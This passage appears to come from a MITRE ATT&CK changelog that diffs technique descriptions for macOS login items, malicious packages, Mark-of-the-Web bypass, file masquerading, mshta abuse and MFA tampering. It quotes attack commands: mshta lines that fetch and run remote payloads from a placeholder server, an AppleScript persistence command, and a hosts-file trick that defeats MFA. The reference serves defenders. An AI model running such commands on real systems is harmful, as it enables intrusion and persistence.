Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.
Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Launch Service Keys Developer Apple', 'description': 'Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1'} | |
| external_references | {'source_name': 'objsee block blocking login items', 'description': 'Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.', 'url': 'https://objective-see.com/blog/blog_0x31.html'} | |
| external_references | {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'} |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may rely on a user installing a malicious librar | t | 1 | Adversaries may rely on a user installing a malicious librar |
| > | y to facilitate execution. Threat actors may [Upload Malware | > | y to facilitate execution. Threat actors may [Upload Malware | ||
| > | ](https://attack.mitre.org/techniques/T1608/001) to package | > | ](https://attack.mitre.org/techniques/T1608/001) to package | ||
| > | managers such as NPM and PyPi, as well as to public code rep | > | managers such as NPM and PyPi, as well as to public code rep | ||
| > | ositories such as GitHub. User may install libraries without | > | ositories such as GitHub. Users may install libraries withou | ||
| > | realizing they are malicious, thus bypassing techniques tha | > | t realizing they are malicious, thus bypassing techniques th | ||
| > | t specifically achieve Initial Access. This can lead to the | > | at specifically achieve Initial Access. This can lead to the | ||
| > | execution of malicious code, such as code that establishes p | > | execution of malicious code, such as code that establishes | ||
| > | ersistence, steals data, or mines cryptocurrency.(Citation: | > | persistence, steals data, or mines cryptocurrency.(Citation: | ||
| > | Datadog Security Labs Malicious PyPi Packages 2024)(Citation | > | Datadog Security Labs Malicious PyPi Packages 2024)(Citatio | ||
| > | : Fortinet Malicious NPM Packages 2023) In some cases, thre | > | n: Fortinet Malicious NPM Packages 2023) In some cases, thr | ||
| > | at actors may compromise and backdoor existing popular libra | > | eat actors may compromise and backdoor existing popular libr | ||
| > | ries (i.e., [Compromise Software Dependencies and Developmen | > | aries (i.e., [Compromise Software Dependencies and Developme | ||
| > | t Tools](https://attack.mitre.org/techniques/T1195/001)). Al | > | nt Tools](https://attack.mitre.org/techniques/T1195/001)). A | ||
| > | ternatively, they may create entirely new packages and lever | > | lternatively, they may create entirely new packages and leve | ||
| > | age behaviors such as typosquatting to encourage users to in | > | rage behaviors such as typosquatting to encourage users to i | ||
| > | stall them. | > | nstall them. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-05-22 21:22:40.822000+00:00 | 2026-11-03 21:55:53.643000+00:00 |
| description | Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023) In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them. | Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. Users may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023) In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download malware that can be | t | 1 | Adversaries may buy, steal, or download malware that can be |
| > | used during targeting. Malicious software can include payloa | > | used during targeting. Malicious software can include payloa | ||
| > | ds, droppers, post-compromise tools, backdoors, packers, and | > | ds, droppers, post-compromise tools, backdoors, packers, and | ||
| > | C2 protocols. Adversaries may acquire malware to support th | > | C2 protocols. Adversaries may acquire malware to support th | ||
| > | eir operations, obtaining a means for maintaining control of | > | eir operations, obtaining a means for maintaining control of | ||
| > | remote machines, evading defenses, and executing post-compr | > | remote machines, evading defenses, and executing post-compr | ||
| > | omise behaviors. In addition to downloading free malware fr | > | omise behaviors. In addition to downloading free malware fr | ||
| > | om the internet, adversaries may purchase these capabilities | > | om the internet, adversaries may purchase these capabilities | ||
| > | from third-party entities. Third-party entities can include | > | from third-party entities. Third-party entities can include | ||
| > | technology companies that specialize in malware development | > | technology companies that specialize in malware development | ||
| > | , criminal marketplaces (including Malware-as-a-Service, or | > | , criminal marketplaces (including Malware-as-a-Service, or | ||
| > | MaaS), or from individuals.(Citation: BITSIGHT Malware Analy | > | MaaS), or individuals.(Citation: BITSIGHT Malware Analysis) | ||
| > | sis) In addition to purchasing malware, adversaries may stea | > | In addition to purchasing malware, adversaries may steal and | ||
| > | l and repurpose malware from third-party entities (including | > | repurpose malware from third-party entities (including othe | ||
| > | other adversaries). | > | r adversaries). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-02 17:55:52.445000+00:00 | 2026-11-04 03:29:28.581000+00:00 |
| description | Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). | Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. In addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or individuals.(Citation: BITSIGHT Malware Analysis) In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries). |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse specific file formats to subvert Mark- | t | 1 | Adversaries may abuse specific file formats to subvert Mark- |
| > | of-the-Web (MOTW) controls. In Windows, when files are downl | > | of-the-Web (MOTW) controls. In Windows, when files are downl | ||
| > | oaded from the Internet, they are tagged with a hidden NTFS | > | oaded from the Internet, they are tagged with a hidden NTFS | ||
| > | Alternate Data Stream (ADS) named <code>Zone.Identifier</cod | > | Alternate Data Stream (ADS) named <code>Zone.Identifier</cod | ||
| > | e> with a specific value known as the MOTW.(Citation: Micros | > | e> with a specific value known as the MOTW.(Citation: Micros | ||
| > | oft Zone.Identifier 2020) Files that are tagged with MOTW ar | > | oft Zone.Identifier 2020) Files that are tagged with MOTW ar | ||
| > | e protected and cannot perform certain actions. For example, | > | e protected and cannot perform certain actions. For example, | ||
| > | starting in MS Office 10, if a MS Office file has the MOTW, | > | starting in MS Office 10, if a MS Office file has the MOTW, | ||
| > | it will open in Protected View. Executables tagged with the | > | it will open in Protected View. Executables tagged with the | ||
| > | MOTW will be processed by Windows Defender SmartScreen that | > | MOTW will be processed by Windows Defender SmartScreen that | ||
| > | compares files with an allowlist of well-known executables. | > | compares files with an allowlist of well-known executables. | ||
| > | If the file is not known/trusted, SmartScreen will prevent | > | If the file is not known/trusted, SmartScreen will prevent | ||
| > | the execution and warn the user not to run it.(Citation: Bee | > | the execution and warn the user not to run it.(Citation: Bee | ||
| > | k Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citatio | > | k Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citatio | ||
| > | n: Intezer Russian APT Dec 2020) Adversaries may abuse cont | > | n: Intezer Russian APT Dec 2020) Adversaries may abuse cont | ||
| > | ainer files such as compressed/archive (.arj, .gzip) and/or | > | ainer files such as compressed/archive (.arj, .gzip) and/or | ||
| > | disk image (.iso, .vhd) file formats to deliver malicious pa | > | disk image (.iso, .vhd) file formats to deliver malicious pa | ||
| > | yloads that may not be tagged with MOTW. Container files dow | > | yloads that may not be tagged with MOTW. Container files dow | ||
| > | nloaded from the Internet will be marked with MOTW but the f | > | nloaded from the Internet will be marked with MOTW but the f | ||
| > | iles within may not inherit the MOTW after the container fil | > | iles within may not inherit the MOTW after the container fil | ||
| > | es are extracted and/or mounted. MOTW is a NTFS feature and | > | es are extracted and/or mounted. MOTW is an NTFS feature and | ||
| > | many container files do not support NTFS alternative data st | > | many container files do not support NTFS alternative data s | ||
| > | reams. After a container file is extracted and/or mounted, t | > | treams. After a container file is extracted and/or mounted, | ||
| > | he files contained within them may be treated as local files | > | the files contained within them may be treated as local file | ||
| > | on disk and run without protections.(Citation: Beek Use of | > | s on disk and run without protections.(Citation: Beek Use of | ||
| > | VHD Dec 2020)(Citation: Outflank MotW 2020) | > | VHD Dec 2020)(Citation: Outflank MotW 2020) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.662000+00:00 | 2026-11-03 23:23:57.025000+00:00 |
| description | Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020) | Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)
Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is an NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may masquerade malicious payloads as legitimate | t | 1 | Adversaries may masquerade malicious payloads as legitimate |
| > | files through changes to the payload's formatting, including | > | files through changes to the payload's formatting, including | ||
| > | the file’s signature, extension, icon, and contents. Variou | > | the file’s signature, extension, icon, and contents. Variou | ||
| > | s file types have a typical standard format, including how t | > | s file types have a typical standard format, including how t | ||
| > | hey are encoded and organized. For example, a file’s signatu | > | hey are encoded and organized. For example, a file’s signatu | ||
| > | re (also known as header or magic bytes) is the beginning by | > | re (also known as header or magic bytes) is the beginning by | ||
| > | tes of a file and is often used to identify the file’s type. | > | tes of a file and is often used to identify the file’s type. | ||
| > | For example, the header of a JPEG file, is <code> 0xFF 0xD | > | For example, the header of a JPEG file is <code> 0xFF 0xD8< | ||
| > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | > | /code> and the file extension is either `.JPE`, `.JPEG` or ` | ||
| > | `.JPG`. Adversaries may edit the header’s hex code and/or | > | .JPG`. Adversaries may edit the header’s hex code and/or t | ||
| > | the file extension of a malicious payload in order to bypas | > | he file extension of a malicious payload in order to bypass | ||
| > | s file validation checks and/or input sanitization. This beh | > | file validation checks and/or input sanitization. This behav | ||
| > | avior is commonly used when payload files are transferred (e | > | ior is commonly used when payload files are transferred (e.g | ||
| > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | > | ., [Ingress Tool Transfer](https://attack.mitre.org/techniqu | ||
| > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | > | es/T1105)) and stored (e.g., [Upload Malware](https://attack | ||
| > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | > | .mitre.org/techniques/T1608/001)) so that adversaries may mo | ||
| > | move their malware without triggering detections. Common n | > | ve their malware without triggering detections. Common non | ||
| > | on-executable file types and extensions, such as text files | > | -executable file types and extensions, such as text files (` | ||
| > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | > | .txt`) and image files (`.jpg`, `.gif`, etc.) may be typical | ||
| > | ally treated as benign. Based on this, adversaries may use | > | ly treated as benign. Based on this, adversaries may use a | ||
| > | a file extension to disguise malware, such as naming a PHP b | > | file extension to disguise malware, such as naming a PHP bac | ||
| > | ackdoor code with a file name of <code>test.gif</code>. A us | > | kdoor code with a file name of <code>test.gif</code>. A user | ||
| > | er may not know that a file is malicious due to the benign a | > | may not know that a file is malicious due to the benign app | ||
| > | ppearance and file extension. Polyglot files, which are fil | > | earance and file extension. Polyglot files, which are files | ||
| > | es that have multiple different file types and that function | > | that have multiple different file types and that function d | ||
| > | differently based on the application that will execute them | > | ifferently based on the application that will execute them, | ||
| > | , may also be used to disguise malicious malware and capabil | > | may also be used to disguise malicious malware and capabilit | ||
| > | ities.(Citation: polygot_icedID) | > | ies.(Citation: polygot_icedID) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.622000+00:00 | 2026-11-03 23:58:20.304000+00:00 |
| description | Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.
Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.
Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.
Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) | Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`.
Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections.
Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.
Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Ben Smith, @cmdaltr |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Ben Smith |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse mshta.exe to proxy execution of malici | t | 1 | Adversaries may abuse mshta.exe to proxy execution of malici |
| > | ous .hta files and Javascript or VBScript through a trusted | > | ous .hta files and Javascript or VBScript through a trusted | ||
| > | Windows utility. There are several examples of different typ | > | Windows utility. There are several examples of different typ | ||
| > | es of threats leveraging mshta.exe during initial compromise | > | es of threats leveraging mshta.exe during initial compromise | ||
| > | and for execution of code (Citation: Cylance Dust Storm) (C | > | and for execution of code.(Citation: Cylance Dust Storm)(Ci | ||
| > | itation: Red Canary HTA Abuse Part Deux) (Citation: FireEye | > | tation: Red Canary HTA Abuse Part Deux)(Citation: FireEye At | ||
| > | Attacks Leveraging HTA) (Citation: Airbus Security Kovter An | > | tacks Leveraging HTA)(Citation: Airbus Security Kovter Analy | ||
| > | alysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a | > | sis)(Citation: FireEye FIN7 April 2017) Mshta.exe is a uti | ||
| > | utility that executes Microsoft HTML Applications (HTA) fil | > | lity that executes Microsoft HTML Applications (HTA) files.( | ||
| > | es. (Citation: Wikipedia HTML Application) HTAs are standalo | > | Citation: Wikipedia HTML Application) HTAs are standalone ap | ||
| > | ne applications that execute using the same models and techn | > | plications that execute using the same models and technologi | ||
| > | ologies of Internet Explorer, but outside of the browser. (C | > | es of Internet Explorer, but outside of the browser.(Citatio | ||
| > | itation: MSDN HTML Applications) Files may be executed by m | > | n: MSDN HTML Applications) Files may be executed by mshta.e | ||
| > | shta.exe through an inline script: <code>mshta vbscript:Clos | > | xe through an inline script: <code>mshta vbscript:Close(Exec | ||
| > | e(Execute("GetObject(""script:https[:]//webserver/payload[.] | > | ute("GetObject(""script:https[:]//webserver/payload[.]sct"") | ||
| > | sct"")"))</code> They may also be executed directly from UR | > | "))</code> They may also be executed directly from URLs: <c | ||
| > | Ls: <code>mshta http[:]//webserver/payload[.]hta</code> Msh | > | ode>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe | ||
| > | ta.exe can be used to bypass application control solutions t | > | can be used to bypass application control solutions that do | ||
| > | hat do not account for its potential use. Since mshta.exe ex | > | not account for its potential use. Since mshta.exe executes | ||
| > | ecutes outside of the Internet Explorer's security context, | > | outside of the Internet Explorer's security context, it als | ||
| > | it also bypasses browser security settings. (Citation: LOLBA | > | o bypasses browser security settings.(Citation: LOLBAS Mshta | ||
| > | S Mshta) | > | ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.676000+00:00 | 2026-11-03 20:12:12.385000+00:00 |
| description | Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta) | Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.(Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017)
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.(Citation: MSDN HTML Applications)
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable or modify multi-factor authenticatio | t | 1 | Adversaries may disable or modify multi-factor authenticatio |
| > | n (MFA) mechanisms to enable persistent access to compromise | > | n (MFA) mechanisms to enable persistent access to compromise | ||
| > | d accounts. Once adversaries have gained access to a networ | > | d accounts. Once adversaries have gained access to a networ | ||
| > | k by either compromising an account lacking MFA or by employ | > | k by either compromising an account lacking MFA or by employ | ||
| > | ing an MFA bypass method such as [Multi-Factor Authenticatio | > | ing an MFA bypass method such as [Multi-Factor Authenticatio | ||
| > | n Request Generation](https://attack.mitre.org/techniques/T1 | > | n Request Generation](https://attack.mitre.org/techniques/T1 | ||
| > | 621), adversaries may leverage their access to modify or com | > | 621), adversaries may leverage their access to modify or com | ||
| > | pletely disable MFA defenses. This can be accomplished by ab | > | pletely disable MFA defenses. This can be accomplished by ab | ||
| > | using legitimate features, such as excluding users from Azur | > | using legitimate features, such as excluding users from Azur | ||
| > | e AD Conditional Access Policies, registering a new yet vuln | > | e AD Conditional Access Policies, registering a new yet vuln | ||
| > | erable/adversary-controlled MFA method, or by manually patch | > | erable/adversary-controlled MFA method, or by manually patch | ||
| > | ing MFA programs and configuration files to bypass expected | > | ing MFA programs and configuration files to bypass expected | ||
| > | functionality.(Citation: Mandiant APT42)(Citation: Azure AD | > | functionality.(Citation: Mandiant APT42)(Citation: Azure AD | ||
| > | Conditional Access Exclusions) For example, modifying the W | > | Conditional Access Exclusions) For example, modifying the W | ||
| > | indows hosts file (`C:\windows\system32\drivers\etc\hosts`) | > | indows hosts file (`C:\windows\system32\drivers\etc\hosts`) | ||
| > | to redirect MFA calls to localhost instead of an MFA server | > | to redirect MFA calls to localhost instead of an MFA server | ||
| > | may cause the MFA process to fail. If a "fail open" policy i | > | may cause the MFA process to fail. If a "fail open" policy i | ||
| > | s in place, any otherwise successful authentication attempt | > | s in place, any otherwise successful authentication attempt | ||
| > | may be granted access without enforcing MFA. (Citation: Russ | > | may be granted access without enforcing MFA.(Citation: Russi | ||
| > | ians Exploit Default MFA Protocol - CISA March 2022) Depen | > | ans Exploit Default MFA Protocol - CISA March 2022) Depend | ||
| > | ding on the scope, goals, and privileges of the adversary, M | > | ing on the scope, goals, and privileges of the adversary, MF | ||
| > | FA defenses may be disabled for individual accounts or for a | > | A defenses may be disabled for individual accounts or for al | ||
| > | ll accounts tied to a larger group, such as all domain accou | > | l accounts tied to a larger group, such as all domain accoun | ||
| > | nts in a victim's network environment.(Citation: Russians Ex | > | ts in a victim's network environment.(Citation: Russians Exp | ||
| > | ploit Default MFA Protocol - CISA March 2022) | > | loit Default MFA Protocol - CISA March 2022) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.708000+00:00 | 2026-11-04 00:57:59.533000+00:00 |
| description | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts. Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions) For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) | Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts. Once adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions) For example, modifying the Windows hosts file (`C:\windows\system32\drivers\etc\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a "fail open" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) Depending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for 